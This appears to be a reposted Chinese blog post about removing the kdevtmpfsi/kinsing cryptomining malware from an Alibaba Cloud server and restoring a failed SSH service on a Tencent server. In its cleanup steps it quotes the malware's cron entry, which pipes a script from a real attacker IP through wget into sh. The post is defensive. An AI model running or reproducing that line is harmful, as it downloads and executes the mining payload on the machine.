【Linux环境】SSH突然无法连接【排查2个小时最终解决Failed to start OpenSSH server daemon】及【阿里云服务器的 kdevtmpfsi 挖矿病毒处理】
說明
我有兩臺云服務器,一臺阿里的(買了1年),一臺騰訊的(買了3年),都是基本配置1核心2G內存(阿里云盤是40G騰訊的是50G),這幾天一直收到阿里云的短信說出現了緊急安全事件:惡意腳本代碼執行…
今天早上就登錄了阿里云服務器查看了一下top,發現 kdevtmpfsi 的進程 cup 占用快100%了,中招的朋友不少,解決方法如下【一共5個步驟】騰訊官方也有相關的 處理方法:
# 1.查看kdevtmpfsi的守護進程kinsing先kill掉【否則kdevtmpfsi進程會不斷恢復占用】 [root@aliyun ~]# ps -aux | grep kinsing # 2.查看kdevtmpfsi的進程并kill掉 [root@aliyun ~]# ps -aux | grep kdevtmpfsi # 3.刪除/tmp/下kdevtmpfsi相關文件 [root@aliyun ~]# cd /tmp/ [root@aliyun tmp]# rm -rf kdevtmpfsi # 4.刪除/var/tmp/下kinsing相關文件 [root@aliyun ~]# cd /var/tmp/ [root@aliyun tmp]# rm -rf kinsing # 5.查詢并刪除定時任務 # 查詢[root@aliyun ~]# crontab -l* * * * * wget -q -O - http://195.3.146.118/spr.sh | sh > /dev/null 2>&1# 編輯刪除 刪除全部定時任務 crontab -r[root@aliyun ~]# crontab -e至此,阿里云的服務器問題解決,😢 誰知道,讓我哭的是騰訊的云服務器。昨天我還在測試Hadoop,今天使用ssh客戶端無法登錄,我一想,會不會也是這個病毒…【可惜不是 😳】
SSH無法連接問題排查
我先是上控制臺進行了實例的自助檢測,發現今天上午【連接數出現過達到上限的情況】:
ping了一下服務器,通了…
又確認了一下安全組,沒有問題啊…
進行了實例端口驗通,也是沒有問題…
然后使用騰訊云的控制臺登錄了服務器:
使用標準登錄方式【TCP:22】自然是無法登錄的,所以用的是VNC登錄:
登錄后發現hosts映射和hostname都已經被篡改了,隨后查看了 top 沒有發現異常,查看 crontab 也沒有異常,然后就剩 SSH 服務了:
啟動ssh服務成功,問題解決。
總結
😡 最終我也不知道為什么突然就無法訪問,沒有病毒木馬,沒有惡意連接。收獲是:排查問題要從源頭排查,剛開始沒有想到是SSH服務的問題,一直以為是端口護著TCP無法連接。【給大家一個建議,經常修改服務器登錄密碼。】 👌
總結
以上是生活随笔為你收集整理的【Linux环境】SSH突然无法连接【排查2个小时最终解决Failed to start OpenSSH server daemon】及【阿里云服务器的 kdevtmpfsi 挖矿病毒处理】的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【Java报错】mapper传入arra
- 下一篇: 【Java报错】Greenplum数据库